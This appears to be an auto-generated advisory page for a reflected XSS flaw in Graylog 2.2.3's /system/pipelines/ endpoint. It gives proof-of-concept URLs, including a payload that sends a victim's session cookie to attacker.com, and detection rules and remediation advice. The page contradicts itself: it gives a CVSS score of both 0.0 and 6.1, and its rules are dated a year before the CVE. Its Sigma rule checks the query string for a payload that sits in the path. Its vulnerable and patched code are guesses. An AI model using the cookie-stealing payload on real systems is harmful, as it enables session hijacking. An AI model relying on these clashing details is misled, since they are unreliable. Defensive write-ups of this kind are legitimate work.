CVE-2026-1440
Executive Summary
CVE-2026-1440 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Graylog Web Interface, version 2.2.3. The flaw exists in the /system/pipelines/ endpoint, where URL segments are directly reflected in the HTML response without proper sanitization or output encoding. An attacker can craft a malicious URL containing JavaScript payloads; when a victim visits this URL, the script executes in the victim's browser within the context of the Graylog session. This allows limited session manipulation and arbitrary script execution. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction. No official patch has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Graylog is a Java-based log management platform distributed as a WAR file or via Docker. The vulnerable component is the web interface (Graylog Web Interface). No package manager (NPM, PyPI, Go, Ruby) is directly involved, but the web interface may include JavaScript dependencies. Users should verify the integrity of their Graylog installation and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires user interaction (clicking a crafted link), but the impact includes session hijacking and limited data exfiltration.
Deep Dive & Mechanics
The vulnerability resides in the /system/pipelines/ endpoint of the Graylog Web Interface (version 2.2.3). When a user accesses a URL like https://graylog.example.com/system/pipelines/<malicious_payload>, the server reflects the <malicious_payload> segment directly into the HTML response without applying output encoding. This allows an attacker to inject arbitrary HTML and JavaScript.
Root Cause: Lack of proper input sanitization and output encoding in the server-side rendering of URL parameters. The endpoint does not escape characters like <, >, ", ', and & before embedding them in the response.
Attack Flow:
- Attacker crafts a URL:
https://graylog.example.com/system/pipelines/<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- Victim's browser sends request to Graylog server.
- Server returns HTML containing the unescaped payload.
- Browser executes the injected JavaScript.
Impact: The attacker can execute arbitrary JavaScript in the victim's browser, potentially stealing session cookies, performing actions on behalf of the victim, or defacing the page.
Vulnerable vs. Patched Code
Vulnerable Code (Graylog 2.2.3): The endpoint likely uses a template that directly interpolates the URL path into the response without escaping. Example (pseudo-code):
// Vulnerable: directly embedding URL segment
String path = request.getPathInfo();
response.getWriter().write("<div>" + path + "</div>");
Patched Code (Hypothetical): The fix would involve applying output encoding to the URL segment before rendering:
// Patched: encode output
String path = request.getPathInfo();
String encodedPath = StringEscapeUtils.escapeHtml4(path);
response.getWriter().write("<div>" + encodedPath + "</div>");
Note: No official patch is available. Users should apply generic XSS mitigations (e.g., Content Security Policy) until a vendor patch is released.
Exploitation & Lab Setup
Red Team (Exploitation)
Proof of Concept (PoC): The following URL demonstrates the vulnerability:
https://graylog.example.com/system/pipelines/%3Cscript%3Ealert('XSS')%3C/script%3E
When visited, an alert box with "XSS" will appear.
Advanced Payload:
https://graylog.example.com/system/pipelines/%3Cimg%20src=x%20onerror=alert(1)%3E
Session Hijacking Payload:
https://graylog.example.com/system/pipelines/%3Cscript%3Enew%20Image().src='http://attacker.com/steal?cookie='%2Bdocument.cookie%3C/script%3E
Lab Setup:
- Deploy Graylog 2.2.3 in a Docker container or on a local VM.
- Access the web interface.
- Craft the PoC URL and open it in a browser.
- Observe the JavaScript execution.
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests containing
<script>,onerror, or other XSS patterns in the/system/pipelines/path. - Use a Web Application Firewall (WAF) to block malicious payloads.
Defense:
- Apply a Content Security Policy (CSP) header to restrict script execution.
- Use input validation and output encoding on all user-controlled data.
- Upgrade to a patched version when available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/system/pipelines/containing<script>,onerror,alert, or similar XSS patterns. - Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).
- HTTP requests to
Host IOCs:
- Browser history entries containing malicious URLs with encoded JavaScript.
- Temporary files or cache entries with injected scripts.
Log IOCs:
- Web server access logs showing
GET /system/pipelines/<malicious_payload>with non-standard characters.
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2026_1440_Graylog_XSS {
meta:
description = "Detects reflected XSS attempts against Graylog /system/pipelines/ endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-1440"
strings:
$xss_pattern1 = /\/system\/pipelines\/.*<script/i
$xss_pattern2 = /\/system\/pipelines\/.*onerror/i
$xss_pattern3 = /\/system\/pipelines\/.*alert\(/i
condition:
any of them
}
Sigma Rule
title: Graylog Reflected XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against Graylog /system/pipelines/ endpoint
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/system/pipelines/*'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'alert('
condition: selection
falsepositives:
- Legitimate use of similar patterns in testing
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-1440 Graylog Reflected XSS Attempt"; flow:to_server,established; content:"/system/pipelines/"; http_uri; pcre:"/<script|onerror|alert\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Ensure all user-supplied data in URL paths is validated and sanitized.
- Output Encoding: Encode all dynamic content before rendering in HTML (e.g., use
StringEscapeUtils.escapeHtml4()in Java). - Content Security Policy (CSP): Add a strict CSP header to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Web Application Firewall (WAF): Deploy a WAF rule to block XSS patterns in the
/system/pipelines/path.
Long-Term Fix:
- Upgrade to a patched version of Graylog when available.
- Conduct a security audit of all endpoints for similar reflection issues.
Workaround:
- If patching is not possible, restrict access to the Graylog web interface to trusted networks only.
Valters IT